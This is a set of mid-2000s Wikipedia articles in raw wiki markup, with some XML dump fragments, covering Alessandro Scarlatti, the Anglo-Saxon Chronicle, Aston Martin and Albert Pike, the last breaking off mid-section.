'''Alessandro Scarlatti''' ([[May 2]], [[1660]] &amp;ndash; [[October 24]], [[1725]]) was a [[Baroque music|Baroque]] [[composer]] especially famous for his [[opera]]s and chamber [[cantata]]s.  He is considered the founder of the [[Neapolitan]] school of opera.  He was the father of two other Baroque composers, [[Domenico Scarlatti]] and [[Pietro Filippo Scarlatti]].

==Life==

Scarlatti was born in Sicily, either in [[Trapani]] or [[Palermo]]. He is generally said to have been a pupil of [[Giacomo Carissimi]] in [[Rome]], and there is reason to suppose that he had some connection with northern Italy, since his early works show the influence of [[Alessandro Stradella|Stradella]] and [[Giovanni Legrenzi|Legrenzi]]. The production at Rome of his opera ''Gli Equivoci nell&amp;rsquo;amore'' ([[1679]]) gained him the protection of Queen [[Christina of Sweden]] (who at the time was living in Rome), and he became her ''maestro di cappella''. In February [[1684]] he became ''maestro di cappella'' to the [[viceroy]] of [[Naples]], through the influence of his sister, an opera singer, who was the mistress of an influential Neapolitan noble. Here he produced a long series of [[opera]]s, remarkable chiefly for their fluency and expressiveness, as well as other music for state occasions. 

In [[1702]] Scarlatti left Naples and did not return until the Spanish domination had been superseded by that of the Austrians. In the interval he enjoyed the patronage of [[Ferdinand III of Tuscany]], for whose private theatre near [[Florence]] he composed operas, and of [[Cardinal Ottoboni]], who made him his ''maestro di cappella'', and procured him a similar post at the [[Basilica di Santa Maria Maggiore]] in Rome in [[1703]]. 

After visiting [[Venice]] and [[Urbino]] in [[1707]], Scarlatti took up his duties at Naples again in [[1708]], and remained there until [[1717]]. By this time Naples seems to have become tired of his music; the Romans, however, appreciated it better, and it was at the [[Teatro Capranica]] in Rome that he produced some of his finest operas (''Telemaco'', [[1718]]; ''Marco Attilio Regolò'', [[1719]]; ''[[Griselda]]'', [[1721]]), as well as some noble specimens of church music, including a [[mass (music)|mass]] for chorus and orchestra, composed in honor of [[Saint Cecilia]] for [[Cardinal Acquaviva]] in 1721.   His last work on a large scale appears to have been the unfinished [[serenata]] for the marriage of the prince of [[Stigliano]] in [[1723]]. Scarlatti died in Naples.

==Scarlatti's music==

Scarlatti's music forms an important link between the early [[Baroque music|Baroque]] Italian vocal styles of the [[17th century]], with their centers in [[Florence]], [[Venice]] and [[Rome]], and the classical school of the [[18th century]], which culminated in [[Mozart]]. His early operas (''Gli Equivoci nel sembiante'' [[1679]]; ''L&amp;rsquo;Honestà negli amori'' [[1680]], containing the famous aria &quot;Già il sole dal Gange&quot;; ''Pompeo'' [[1683]], containing the well-known airs &quot;O cessate di piagarmi&quot; and &quot;Toglietemi la vita ancor,&quot; and others down to about [[1685]]) retain the older cadences in their [[recitatives]], and a considerable variety of neatly constructed forms in their charming little arias, accompanied sometimes by the string quartet, treated with careful elaboration, sometimes by the harpsichord alone. By [[1686]] he had definitely established the &quot;Italian overture&quot; form (second edition of ''Dal male il bene''), and had abandoned the [[ground bass]] and the [[Binary (music)|binary form]] air in two stanzas in favour of the [[ternary form]] or [[da capo]] type of air.  His best operas of this period are ''La Rosaura'' ([[1690]], printed by the [[Gesellschaft für Musikforschung]]), and ''Pirro e Demetrio'' ([[1694]]), in which occur the arias &quot;Rugiadose, odorose&quot;, and &quot;Ben ti sta, traditor&quot;.

From about [[1697]] onwards (''La Caduta del decemviri''), influenced partly perhaps by the style of [[Giovanni Bononcini]] and probably more by the taste of the viceregal court, his opera arias become more conventional and commonplace in rhythm, while his scoring is hasty and crude, yet not without brilliance (''Eracles'', [[1700]]), the [[Oboe|oboes]] and [[Trumpet|trumpets]] being frequently used, and the [[Violin|violins]] often playing in unison. The operas composed for [[Ferdinand de' Medici]] are lost; they might have given a more favourable idea of his style as his correspondence with the prince shows that they were composed with a very sincere sense of inspiration. 

''Mitridate Eupatore'', accounted his masterpiece, composed for Venice in [[1707]], contains music far in advance of anything that Scarlatti had written for Naples, both in technique and in intellectual power. The later Neapolitan operas (''L'Amor volubile e tiranno'' [[1700]]; ''La Principessa fedele'' [[1712]]; ''Tigrane'', [[1715]], &amp;c.) are showy and effective rather than profoundly emotional; the instrumentation marks a great advance on previous work, since the main duty of accompanying the voice is thrown upon the string quartet, the harpsichord being reserved exclusively for the noisy instrumental [[ritornelli]]. In his opera ''Teodora'' ([[1697]]) he originated the use of the orchestral ''ritornello''.  

His last group of operas, composed for Rome, exhibit a deeper poetic feeling, a broad and dignified style of melody, a strong dramatic sense, especially in accompanied recitatives, a device which he himself had been the first to use as early as [[1686]] (''Olimpia vendicata'') and a much more modern style of orchestration, the horns appearing for the first time, and being treated with striking effect.

Besides the operas, [[oratorio]]s (''Agar et Ismaele esiliati'', [[1684]]; ''Christmas Oratorio'', c. [[1705]]; ''S. Filippo Neri'', [[1714]]; and others) and [[serenata]]s, which all exhibit a similar style, Scarlatti composed upwards of five hundred chamber-cantatas for solo voice. These represent the most intellectual type of chamber-music of their period, and it is to be regretted that they have remained almost entirely in manuscript, since a careful study of them is indispensable to anyone who wishes to form an adequate idea of Scarlatti's development. 

His few remaining masses (the story of his having composed two hundred is hardly credible) and church music in general are comparatively unimportant, except the great ''St Cecilia Mass'' ([[1721]]), which is one of the first attempts at the style which reached its height in the great masses of [[Johann Sebastian Bach]] and [[Ludwig van Beethoven|Beethoven]]. His instrumental music, though not without interest, is curiously antiquated as compared with his vocal works.

==Recordings==

* Accademia Bizantina. (2004). ''Il Giardino di Rose''. [[Decca]]: 470 650-2 DSA. 
* Seattle Baroque. (2001). ''Agar et Ismaele Esiliati''. Centaur: CRC 2664
* I Musici. (1991). ''Concerto Grosso''. Philips Classics Productions: 434 160-2

{{commons|Alessandro Scarlatti}}

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    <title>Anglo-Saxon Chronicle</title>
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      <text xml:space="preserve">The '''''Anglo-Saxon Chronicle''''' is a collection of annals narrating the history of the [[Anglo-Saxons]] and their settlement in [[Britain]]. Much of the information in these documents consists of rumours of events that happened elsewhere and so may be unreliable. However for some periods and places, the chronicle is the only substantial surviving source of information. The manuscripts were produced in different places, and each manuscript represents the biases of its scribes. The chronicle has entries spanning [[1|AD 1]] to [[1154]], and two manuscripts have an entry - misdated - for [[60 BC]], recording [[Julius Caesar|Julius Caesar's]] invasion of Britain. The term Anglo-Saxon appears to be a later addition, as the first printed edition (1692) was called &quot;Chronicum saxonicum.&quot; 

After the original chronicle was compiled, copies were kept at various [[Monastery|monasteries]] and were updated independently. Sometimes items important to the locals, such as the fertility of the harvest or the paucity of bees, would be eagerly recorded, whereas distant political events could be overlooked. A combination of the individual annals allows us to develop an overall picture, a document that was the first continuous history written by Europeans in their own language. Thus the various versions of the chronicle are an important development in [[historiography]] as well as a useful historical documents in their own right.

There are nine surviving manuscripts (including two copies), of which eight are written entirely in [[Old English language|Anglo-Saxon]], while the ninth is in Anglo-Saxon with a translation of each annal into [[Latin]].  One (the [[Peterborough Chronicle]]) contains early [[Middle English]] as well as Anglo-Saxon.  The oldest (Corp. Chris. MS 173) is known as the '''Parker Chronicle''', after [[Matthew Parker]] who once owned it, or the '''Winchester Chronicle'''. 

The surviving manuscripts are:

*Version A: ''The Parker Chronicle'' (Corpus Christi College, Cambridge, MS. 173); Cottonian Fragment (British Museum, Cotton MS. Otho B xi, 2)
*Version B: ''The Abingdon Chronicle I'' (British Museum, Cotton MS. Tiberius A vi.)
*Version C: ''The Abingdon Chronicle II'' (British Museum, Cotton MS. Tiberius B i.)
*Version D: ''The Worcester Chronicle'' (British Museum, Cotton MS. Tiberius B iv.)
*Version E: ''The Laud'' (or &quot;[[Peterborough Chronicle|Peterborough]]&quot;) Chronicle (Bodleian, MS. Laud 636)
*Version F: ''The Bilingual Canterbury Epitome'' (British Museum, Cotton MS. Domitian A viii.)  - entries in English and Latin.
*Version H: Cottonian Fragment (British Museum, Cotton MS. Domitian A ix.)
*Version I: ''An Easter Table Chronicle'' (British Museum, Cotton MS. Caligula A xv.)

Version A is of particular importance for the dating of the chronicle. The manuscript is in the handwriting of some thirteen or fourteen scribes and the first scribe wrote as far as 891. For this reason the composition of the chronicle is generally dated to the reign of King [[Alfred the Great|Alfred]].

Some of the annals are derived from earlier sources such as [[Prosper of Aquitaine|Prosper]] and [[Bede]] and the annal for 430 demonstrates this:

[[Prosper of Aquitaine]] wrote that in [[430]]: “Palladius was sent by [[Pope Celestine I|Pope Celestine]] to the Scots who believed in [[Christ]], and was ordained as their first bishop”. This story was known to Bede and was repeated by him: “In the year 430 Palladius was sent by [[Pope Celestine]] to the [[Scots]] that believed in Christ to be their first bishop”. This annal was then copied into the earliest version of the Anglo-Saxon Chronicle (version A, compiled in 891): “430. In this year bishop Palladius was sent by Pope Celestine to the Scots to strengthen their faith”. But during the twelfth century the manuscript was altered to read: “… Palladius (vel Patricius)…”. In another version of the chronicle (version E, written in 1121) Palladius disappears and is replaced by Patrick: “430. In this year Patrick was sent by pope Celestine to preach baptism to the Scots”. 

Notice how with each scribe the story changes a little, so starting from [[Palladius]] being sent to the Irish who were already Christian, it eventually becomes a tale about [[Saint Patrick|Patrick]] being sent to convert the Irish.

Other annals were simply invented. Under 477 we read that Wlencing was the son of Ælle, but Wlencing is a patronymic meaning ‘son of Wlenca’, so he cannot also have been son of Ælle! Clearly the chronicler has carelessly extracted Wlencing from an early form of the place-name Lancing. Moving on to 501, [[Portsmouth]] is located at the mouth of a port; it is not named after Port; he was quarried out of the place-name. Then under 508 Natanleag means ‘wet meadow’, so it was not named after a slain Welsh king called Natanleod; he is an invention. And under 514 we find Wihtgar, who in 534 is given the Isle of Wight, and in 544 is buried at Wihtgaraburg. But Wihtgaraburg does not mean 'Wihtgar's fortress' but 'the fortress of the inhabitants of Wight', and Wight itself is derived from Romano-British ''Vectis'' (Ekwall 1947). Clearly, if these annals are fiction, as they plainly are, then the other early annals are suspect.

The translated texts (together with explanatory materials) are available in books and on the Internet, so scholars at all levels can now consult them directly.

See [[Anglo-Saxon kingdom genealogy]] for a comparison of the genealogies of the Canterbury and Winchester manuscripts with the one given by [[Snorri Sturluson]] in his [[Edda]].

==See also==
*[[Anglo-Saxon literature]]

== References ==
*[[Anne Savage]], &quot;Thr Anglo-Saxon Chronicles&quot;, ISBN 1-85833-478-0, pub CLB 1997
* [[Peter Hunter Blair]], ''An Introduction to Anglo-Saxon England'', pp. 352-355
*Ekwall, E. 1947. ''The Concise Oxford Dictionary of English Place-Names'', 3rd edition.
* [[Michael Swanton]], ''The Anglo-Saxon Chronicles'' London, J.M. Dent 1996

== External links ==
* [http://www.gutenberg.net/etext/657 The Anglo-Saxon Chronicle] at [[Project Gutenberg]] - Public domain copy.
*[http://www.georgetown.edu/labyrinth/library/oe/texts/asc/index.html Transcribed original text]
*[http://sunsite.berkeley.edu/OMACL/Anglo/ Translation to English]
*[http://www.bartleby.com/211/0701.html '''''The Chronicle'''''] from ''[[The Cambridge History of English and American Literature]]'', Volume I, 1907–21.


[[Category:English chronicles]]
[[Category:Old English literature]]
[[Category:Medieval historians]]
[[Category:Medieval literature]]

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[[Image:Astonmartin1976.jpg|right|thumb|250px|Aston Martin logo&lt;br&gt;(before 1987)]]
[[Image:AstonMartin_logo.png|right|thumb|250px|Aston Martin logo&lt;br&gt;(1987 - 2002)]]
[[Image:AstonMartinLogo.jpg|right|thumb|250px|Official Aston Martin logo&lt;br&gt;(since 2003)]]
 

'''Aston Martin Lagonda Ltd.''' is a [[United Kingdom|British]] luxury [[car]] manufacturer based in [[Newport Pagnell]], [[Buckinghamshire]]. The company name was derived from the ''Aston'' Clinton [[hillclimbing|Hillclimb]] course and founder Lionel ''Martin''. Up to the year 2003, approximately 20,200 cars had been built by Aston Martin.  Today, the company is part of the [[Premier Automotive Group]] division of [[Ford Motor Company]].

== History ==

[[image:2001db7.jpg|thumb|250px|2001 Aston Martin DB7 Vantage]]
[[image:aston.db9.coupe.300pix.jpg|thumb|250px|2004 Aston Martin DB9 coupe]]
[[Image:Aston Martin DB AR1.jpg|thumb|250px|DB AR1 roadster]]
[[Image:Amvanquish.jpg|thumb|250px|V12 Vanquish]]
[[image:Zagato_Paris.JPG|thumb|250px|2003 DB7 Zagato (coupe) and DB AR1 (roadster)]]

===Foundation===
Aston Martin was founded in [[1914]] by [[Lionel Martin]] and Robert Bamford. The two had joined forces as Bamford &amp; Martin the previous year to sell cars made by [[Singer (car)|Singer]] from premises in Callow Street, London. Martin raced specials at the [[Aston Hill]]  near [[Aston Clinton]], and the pair decided to make their own vehicles. They acquired premises at Henniker Place in [[Kensington]] and produced their first car in March [[1915]].  Production could not start because of World War 1 and Martin joined the Admiralty and Bamford the Royal Army Service Corps. All machinery was sold to the Sopwith Aircraft Company.

===Inter war years===
After the war hiatus, the company was refounded at Abingdon Road, Kensington and a new car designed which would carry the Aston-Martin name. Bamford left in 1920 and the company was revitalised with funding from [[Count Louis Zborowski]]. In [[1922]], Bamford &amp; Martin produced cars to compete in the [[French Grand Prix]], and the cars set world speed and endurance records at [[Brooklands]]. The company went bankrupt in 1924 and was bought by Lady Charnwood who put her son John Benson on the board. The company failed again in 1925 and the factory closed in 1926 with Lionel Martin leaving. 

Later that year, a number of rich investors, including Lady Charnwood, took control of the company and renamed it Aston Martin Motors, and moved the firm to the former [[Citroen]] plant in [[Feltham]]. John Benson brought in Augusto Benelli as designer. The [[1929]] Aston Martin International was another successful racer and was followed by the [[Le Mans]] and the [[Ulster]]. Financial problems reappeared in 1932 and the company was rescued by L Prideaux Brune who funded it for the following year before passing the company on to Sir Artur Sutherland.  In [[1936]], the company decided to concentrate on road cars. Car production had always been on a small scale and from the company's founding until the advent of [[World War II]] halted work only about 700 had been made. During the war years aircraft components were made.

===The David Brown era===
In [[1947]], [[David Brown Limited]] bought the company under the leadership of managing director Sir [[David Brown (entrepreneur)|David Brown]] &amp;mdash; its &quot;post-war saviour&quot;. David Brown also acquired [[Lagonda]] that year, and both companies shared resources and workshops. In [[1954]], David Brown bought the site at Tickford Street in [[Newport Pagnell]], and that was the beginning of the classic series of cars bearing the initials 'DB'. In [[1950]], the company announced the [[Aston Martin DB2|DB2]], followed by the racing [[Aston Martin DB3|DB3]] in [[1957]] and the Italian-styled 3.7&amp;nbsp;L [[Aston Martin DB4|DB4]] in [[1958]]. All the cars established a good racing pedigree for the firm, but the DB4 was the key to establishing the company's reputation&amp;mdash;which was cemented with the famous [[Aston Martin DB5|DB5]] in [[1963]]. The company continued developing the &quot;grand touring&quot; style with the [[Aston Martin DB6|DB6]] (1965&amp;ndash;70), the [[Aston Martin DBS|DBS]], and the [[Aston Martin V8|DBS V8]] (1967&amp;ndash;72).  The latter was subsequently renamed the [[Aston Martin Vantage|Vantage]].

===Changing ownership===
Despite the cars' appreciation in value, the company was often financially troubled. In [[1972]], it was sold to a [[Birmingham]]-based consortium, and resold in [[1975]] to the North American businessmen Peter Sprague and George Minden. The new American owners pushed the company into modernizing its line, producing the [[Aston Martin V8 Vantage (1977)|V8 Vantage]] in [[1977]], the convertible [[Aston Martin V8|Volante]] in [[1978]], and the one-off William Towns-styled [[Aston Martin Bulldog|Bulldog]] in [[1980]]. Towns also styled the futuristic new [[Aston Martin Lagonda|Lagonda]] saloon, based on the existing V8 model. The Americans sold the company to CH Industrial, who themselves turned the company over in [[1983]] to Automotive Investments who, in turn, lasted barely a year before selling the company to Peter Livanos and company chairman Victor Gauntlett. At last, in [[1986]], the [[Ford Motor Company]] purchased 75 per cent of the company, later gaining complete control of the company.

In [[1988]], having produced some 5,000 cars in twenty years, the company finally retired the ancient V8 and introduced the [[Aston Martin Virage|Virage]] range. In [[1992]], the [[Aston Martin Virage#Vantage|Vantage]] version was announced, and the following year the company renewed the DB range by announcing the [[Aston Martin DB7|DB7]].

===The Ford era===
In [[1993]], Ford finally bought Victor Gauntlett's shares and took full control of the firm, placing it in the [[Premier Automotive Group|Ford Premier Automotive Group]]. Ford substantially invested in new manufacturing and quickly ramped-up production. In 1994, Ford opened a new factory at Banbury Road in [[Bloxham]]. In [[1995]], the company produced a record 700 vehicles, in [[1998]] the 2,000th DB7 was built, and in [[2002]] the 6,000th &amp;mdash; exceeding production of all previous DB models. The DB7 range was boosted by the addition of [[Aston Martin DB7|V12 Vantage]] models in [[1999]], and in [[2001]] the company introduced the V12-engine [[Aston Martin Vanquish|Vanquish]].

2003 was a significant year for Aston Martin. At the North American International Auto Show in [[Detroit, Michigan]], U.S.A., Aston Martin introduced the new [[Aston Martin V8 Vantage (2005)|AMV8 Vantage]] concept car. Expected to have few changes before its introduction in 2005, the new AMV8 Vantage brings back the classic V8 engine and will allow the company to compete in a larger market. The year also saw the opening of the [[Gaydon]] factory, the first purpose-built factory in Aston Martin's history. Also introduced in 2003, was the new [[Aston Martin DB9|DB9]] coupé, which replaces the ten-year-old DB7. A convertible version of the DB9, known as the DB9 Volante, was introduced at the 2004 Detroit Auto Show.

In December 2003, Aston Martin announced they would return to motor racing in 2005. A new division was created, called [[Aston Martin Racing]], who will be responsible, together with [[Prodrive]], for the design, development, and management of the DBR9 program. The DBR9 will compete in the GT class in [[sports car racing|sports car races]] including the world-famous [[24 hours of Le Mans]].


== Models ==
Aston Martin's model naming can be confusing to the uninitiated.  In general, high performance models use the &quot;[[Aston Martin Vantage (disambiguation)|Vantage]]&quot; name, while convertibles are called ''Volante''.

===Pre War cars===
* 1921-1925 Aston Martin Standard Sports
* 1927-1932 Aston Martin First Series
* 1929-1932 Aston Martin International
* 1932-1932 Aston Martin International Le Mans
* 1932-1934 Aston Martin Le Mans
* 1933-1934 Aston Martin 12/50 Standard
* 1934-1936 Aston Martin Mk II
* 1934-1936 Aston Martin Ulster
* 1936-1938 Aston Martin 2 litre Speed
* 1937-1939 Aston Martin 15/98
* 1939-1939 Aston Martin 2 litre C-Type

=== Post War GT cars ===
* 1948&amp;ndash;1950 [[Aston Martin 2-Litre Sports|Aston Martin 2-Litre Sports (DB1)]]
* 1950&amp;ndash;1953 [[Aston Martin DB2]]
* 1953&amp;ndash;1957 [[Aston Martin DB2/4]]
* 1957&amp;ndash;1959 [[Aston Martin DB Mark III]]
* 1958&amp;ndash;1963 [[Aston Martin DB4]]
** 1961&amp;ndash;1963 [[Aston Martin DB4 GT Zagato]]
* 1963&amp;ndash;1965 [[Aston Martin DB5]]
* 1965&amp;ndash;1969 [[Aston Martin DB6]]
* 1967&amp;ndash;1972 [[Aston Martin DBS]]
* 1969&amp;ndash;1989 [[Aston Martin V8]]
* 1993&amp;ndash;2003 [[Aston Martin DB7]]
** 1993&amp;ndash;1999 [[Aston Martin DB7]]
** 1999&amp;ndash;2003 [[Aston Martin DB7|Aston Martin V12 Vantage]]
** 2002&amp;ndash;2004 [[Aston Martin DB AR1]]
* 2004&amp;ndash; [[Aston Martin DB9]]
* 2005&amp;ndash; [[Aston Martin V8 Vantage (2005)|Aston Martin V8 Vantage]]
* 2008&amp;ndash; [[Aston Martin Rapide|Aston Martin Rapide]]

=== Post War Supercars ===
* 1977&amp;ndash;1989 [[Aston Martin V8 Vantage (1977)|Aston Martin V8 Vantage]]
* 1986&amp;ndash;1990 [[Aston Martin V8 Zagato]]
* 1989&amp;ndash;2000 [[Aston Martin Virage]]
** 1989&amp;ndash;1996 [[Aston Martin Virage|Aston Martin Virage/Virage Volante]]
** 1993&amp;ndash;2000 [[Aston Martin Virage|Aston Martin Vantage]]
** 1996&amp;ndash;2000 [[Aston Martin Virage|Aston Martin V8 Coupe/V8 Volante]]
* 2001&amp;ndash; [[Aston Martin V12 Vanquish]]
** 2004&amp;ndash; [[Aston Martin V12 Vanquish|Aston Martin V12 Vanquish S]]

=== Other ===
* 1961&amp;ndash;1964 [[Lagonda Rapide]]
* 1976&amp;ndash;1989 [[Aston Martin Lagonda]]
* 1980 [[Aston Martin Bulldog]]

=== Current Models ===

* [[Aston_Martin_V8_Vantage_%282005%29|V8 Vantage]]
* [[Aston_Martin_DB9|DB9 &amp; DB9 Volante]]
* [[Aston_Martin_Vanquish|Vanquish &amp; Vanquish S]]
* [[Aston Martin Rapide|Rapide]] (possible [[sedan (car)|saloon]] for 2007)

== Race Cars ==
See also: [[List of Formula One constructors]]
* [[Aston Martin DB3]]
* [[Aston Martin DB3S]]
* [[Aston Martin DBR1]]
* [[Aston Martin DBR2]]
* [[Aston Martin DBR3]]
* [[Aston Martin DBR4]]
* [[Aston Martin DBR5]]
* [[Aston Martin DP212]]
* [[Aston Martin DP214]]
* [[Aston Martin DP215]]
* [[Lola - Aston Martin]]
* [[Aston Martin Nimrod]] (1981-1984)
* [[Aston Martin AMR1]] (1989)
* [[Aston Martin DBR9]] (2005-)
* [[Aston Martin DBRS9]] (2005-)

== Astons on film ==

The very British glamour of Aston Martin cars meant they were a natural choice for the [[James Bond]] series of action films, notably the silver DB5 that appears in ''[[Goldfinger]]'' (1964) and ''[[Thunderball]]'' (1965) as James Bond's company car, and then in ''[[GoldenEye]]'' (1995) and ''[[Tomorrow Never Dies]]'' (1997) as his private car. In ''[[On Her Majesty's Secret Service]]'' (1969) there appears, for a short time, a charcoal grey DBS. After an interlude with [[Lotus (car)|Lotus]], Aston Martins were again used, a charcoal grey Volante in ''[[The Living Daylights]]'' (1987), and, after another hiatus, the Vanquish appeared in ''[[Die Another Day]]'' (2002). In early 2004, Henrik Fisker, Design Director at Aston Martin, revealed that James Bond will be driving the new DBS [http://www.classicdriver.com/uk/magazine/3300.asp?id=12807] in [[Casino Royale (2006 film)|Casino Royale]] to be released in 2006.

''[[The Italian Job]]'' (1969) features a silver DB4 Convertible, owned by crook Charlie Croker, played by [[Michael Caine]]. Later, this car is destroyed in a [[Mafia]] ambush, along with a pair of [[E-type Jaguar]]s. The cars were meant to serve as getaway vehicles in the subsequent robbery &quot;in case anything goes wrong.&quot; The gang decide to proceed despite this loss, and the question of what happens if anything goes wrong is pointedly ignored by Croker. Interestingly, the filming of the Aston going over the cliff was not considered dramatic enough by the director (due to the explosion looking too &quot;faked&quot;) and so rather than destroy another Aston, a [[Lancia]] mocked up to look like its British counterpart was pushed over the edge for the second take. In the 2003 remake with the same title, the character Handsome Rob, played by Jason Statham, ends up driving an Aston Martin, but not the Vanquish that he wanted. Instead, it is a DB7 Volante.

An Aston Martin also appeared in Alfred Hitchcock's The Birds.


== Toy Models ==

[[Image:CorgiDB5.JPG|thumb|right|200px|Corgi model car- Aston Martin DB5 (new version)]]

Aston Martin has also had a presence in the toy industry; one of the most famous toy cars ever was the ''Corgi James Bond Aston Martin DB5'', pictured here. First released in 1965 and then re-released some years later, it has provided many generations of children with a taste of the Aston Martin legend.

==External links==
* [http://www.astonmartin.com Aston Martin Lagonda Ltd.] - Official Company Site
* [http://www.astonmartinracing.com Aston Martin Racing] - Official Company Site
* [http://www.amoc.org Aston Martin Owners Club]- Official Aston Martin Owners Club Site and Forum
* [http://www.amoc-na.org Aston Martin Owners Club - Canada/USA]
* [http://www.astonmartins.com Aston Martin Picture Gallery]
* [http://www.astonforum.com Aston Martin Forum] - A New Site for Aston Martin Owners
* [http://www.aston-win.com Aston-Win] - Win an Aston Martin DB9
* [http://www.aston-hire.com Aston-Hire] - THE Specialist Aston Martin Rental Company

{{Aston Martin}}

{{Ford Motor Company}}

[[Category:Aston Martin| ]]

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    </revision>
  </page>
  <page>
    <title>Albert Pike</title>
    <id>2371</id>
    <revision>
      <id>41838566</id>
      <timestamp>2006-03-02T01:55:04Z</timestamp>
      <contributor>
        <username>Milesnfowler</username>
        <id>470628</id>
      </contributor>
      <comment>/* Albert Pike and the Ku Klux Klan */ rewording and clarifying</comment>
      <text xml:space="preserve">'''Albert Pike''' (born [[December 29]], [[1809]] in [[Boston, Massachusetts|Boston]]; died [[April 2]], [[1891]] in [[Washington, D.C.]]) was an [[attorney-at-law|attorney]], soldier, writer, and [[freemasonry|Freemason]].  Albert Pike is the only [[Confederate States Army|Confederate military]] officer or figure to be honored with a statue in Washington D.C.  The statue sits in Judiciary Square.

[[Image:AlbertPikeYounger.jpeg|thumb|Photograph of Pike]]

==Biography==
Pike was born in [[Boston, Massachusetts|Boston]], son of Benjamin and Sarah (Andrews) Pike, and spent his childhood in [[Byfield, Massachusetts|Byfield]] and [[Newburyport, Massachusetts]]. He attended school in Newburyport and [[Framingham, Massachusetts|Framingham]] until he was 15, at which point, having passed the [[Harvard University|Harvard]] entrance exam but unable to afford tuition, he began a program of self-education, later becoming a schoolteacher in [[Gloucester, Massachusetts|Gloucester]], [[Fairhaven, Massachusetts|Fairhaven]] and Newburyport.

In 1831 Pike left Massachusetts to travel west, first stopping in [[Saint Louis, Missouri|St. Louis]] and later moving on to [[Independence, Missouri|Independence]], [[Missouri]].  In Independence, he joined an expedition to [[Taos, New Mexico|Taos]], [[New Mexico]], hunting and trading.  During the excursion his horse broke and ran, forcing Pike to walk the remaining 500 miles to Taos. After this he joined a trapping expedition to the [[Llano Estacado]] in New Mexico and [[Texas]].  Trapping was minimal, and after traveling about 1300 miles (650 on foot), he finally arrived at [[Fort Smith, Arkansas|Fort Smith]], [[Arkansas]].

Settling in Arkansas in 1833, he taught school and wrote a series of articles for [[Little Rock, Arkansas|Little Rock]] ''Arkansas Advocate'' under the [[pen name]] of &quot;Casca.&quot;  The articles were popular enough that he was asked to join the staff of the newspaper.  Later, after marrying Mary Ann Hamilton, he purchased part of the newspaper with the dowry. By 1835 he was the ''Advocate''&lt;nowiki&gt;'&lt;/nowiki&gt;s sole owner. Under Pike's administration the ''Advocate'' promoted the viewpoint of the [[United States Whig Party|Whig party]] in a politically volatile and divided Arkansas. 

He then began to study law, and was admitted to the bar in 1837, selling the ''Advocate'' the same year.  He was the first reporter for the Arkansas supreme court, and also wrote a book (published anonymously), titled ''The Arkansas Form Book'', which was a guidebook for lawyers.

===Military career===
When the [[Mexican-American War]] started, Pike joined the cavalry and was commissioned as a troop commander, serving in the [[Battle of Buena Vista]].  He and his commander, [[John Selden Roane]], had several differences of opinion.  This situation led finally to a [[duel]] between Pike and Roane.  Although several shots were fired in the duel, nobody was injured, and the two were persuaded by their seconds to discontinue it.

After the war, Pike returned to the practice of law, moving to [[New Orleans, Louisiana|New Orleans]] for a time beginning in 1853.   He wrote another book, ''Maxims of the Roman Law and some of the Ancient French Law, as Expounded and Applied in Doctrine and Jurisprudence''. Although unpublished, this book increased his reputation among his associates in law. He returned to Arkansas in 1857, gaining some amount of prominence in the legal field and becoming an advocate of [[slavery]], although retaining his affiliation with the Whig party.  When that party dissolved, he became a member of the [[United States Know-Nothing Party|Know-Nothing]] party.  Before the [[American Civil War|Civil War]] he was firmly against secession, but when the war started he nevertheless took the side of the [[Confederate States of America|Confederacy]].

He also made several contacts among the [[Native Americans in the United States|Native American]] tribes in the area, at one point negotiating an $800,000 settlement between the [[Creek (people)|Creek]]s and other tribes and the federal government.  This relationship was to influence the course of his Civil War service. At the beginning of the war, Pike was appointed as Confederate envoy to the Native Americans.  In this capacity he negotiated several treaties, one of the most important being with [[Cherokee]] chief [[John Ross (Cherokee chief)|John Ross]], which was concluded in 1861.  

Pike was commissioned as a [[brigadier general]] on [[November 22]], [[1861]], and given a command in the [[Indian Territory]].  With Gen. [[Benjamin McCulloch|Ben McCullough]], Pike trained three Confederate regiments of [[Indian cavalry]], most of whom belonged to the &quot;[[Five Civilized Tribes|civilized tribes]],&quot; whose loyalty to the Confederacy was variable.  Although victorious at the [[Battle of Pea Ridge]] (Elkhorn Tavern) in March, Pike's unit was defeated later in a counterattack, after falling into disarray.  Also, as in the previous war, Pike came into conflict with his superior officers, at one point drafting a letter to [[Jefferson Davis]] complaining about his direct superior.

After Pea Ridge, Pike was faced with charges that his troops had scalped soldiers in the field.  Maj. Gen. [[Thomas C. Hindman]] also charged Pike with mishandling of money and materiel, ordering his arrest.  Both these charges were later found to be considerably lacking in evidence; nevertheless Pike, facing arrest, escaped into the hills of Arkansas, sending his resignation from the Confederate Army on July 12. He was at length arrested on November 3 under charges of [[insubordination]] and [[treason]], and held briefly in [[Warren, Texas]], but his resignation was accepted on November 11 and he was allowed to return to Arkansas.

===After the war===
Pike faced the postwar years unable to earn the trust either of his former comrades or of the Union victors, and subsequently relocated to [[New York]] and later to [[Canada]].  He was however at length given a formal pardon by [[Andrew Johnson]] on August 30, 1865, and therefore enabled to continue his career in public life, becoming an associate justice of the Arkansas supreme court, later practicing law in [[Memphis, Tennessee]] from 1867-8 (where he also served as editor of the Memphis ''Appeal''), and finally moving his law office to [[Washington, D.C.]] in 1870, becoming editor of the ''Patriot'' newspaper.

[[Image:AlbertPikeOlder.jpeg|thumb|Pike in Masonic regalia]]

===In Freemasonry===
He had in the interim joined a Masonic lodge and become extremely active in the affairs of the organization, being elected Sovereign Grand Commander of the [[Scottish Rite]]'s Southern Jurisdiction in 1859, also that year having received an honorary Ph.D. from Harvard.  He remained Sovereign Grand Commander for the remainder of his life (a total of 32 years), devoting a large amount of his time to perfection of the rituals of the order.  Notably, he published a book called ''[[Morals and Dogma of the Ancient and Accepted Scottish Rite of Freemasonry]]'' in 1872, of which there were several subsequent editions.

Additionally, Pike wrote on several legal subjects, and continued producing poetry, a hobby he had begun in his youth in Massachusetts.  His poems were highly regarded in his day, but are now mostly forgotten.  Several volumes of his works were self-published posthumously by his daughter.

Pike died in Washington, D.C. and was buried at Oak Hill Cemetery (against his wishes&amp;mdash;he had left instructions his body be cremated).
In [[1944]] his remains were moved to the [[House of the Temple]], headquarters of the Southern Jurisdiction of the Scottish Rite.

===Albert Pike and the Ku Klux Klan===

Albert Pike has been accused of being a founder and high ranking member of the [[Ku Klux Klan]]; however, There is no evidence of this and the claim appears to be based on the unsubstantiated writings of Klan appologist Walter Fleming and revivalist Susan Davis.

One of the Klan founders, Captain John C. Lester, wrote a 119 page book in 1884, in which he recalled the founding of the Klan fifteen years before. The only person that Lester mentioned was &quot;Gen. Forrest,&quot; undoubtedly referring to [[Nathan Bedford Forrest]]. Lester does not mention Pike.

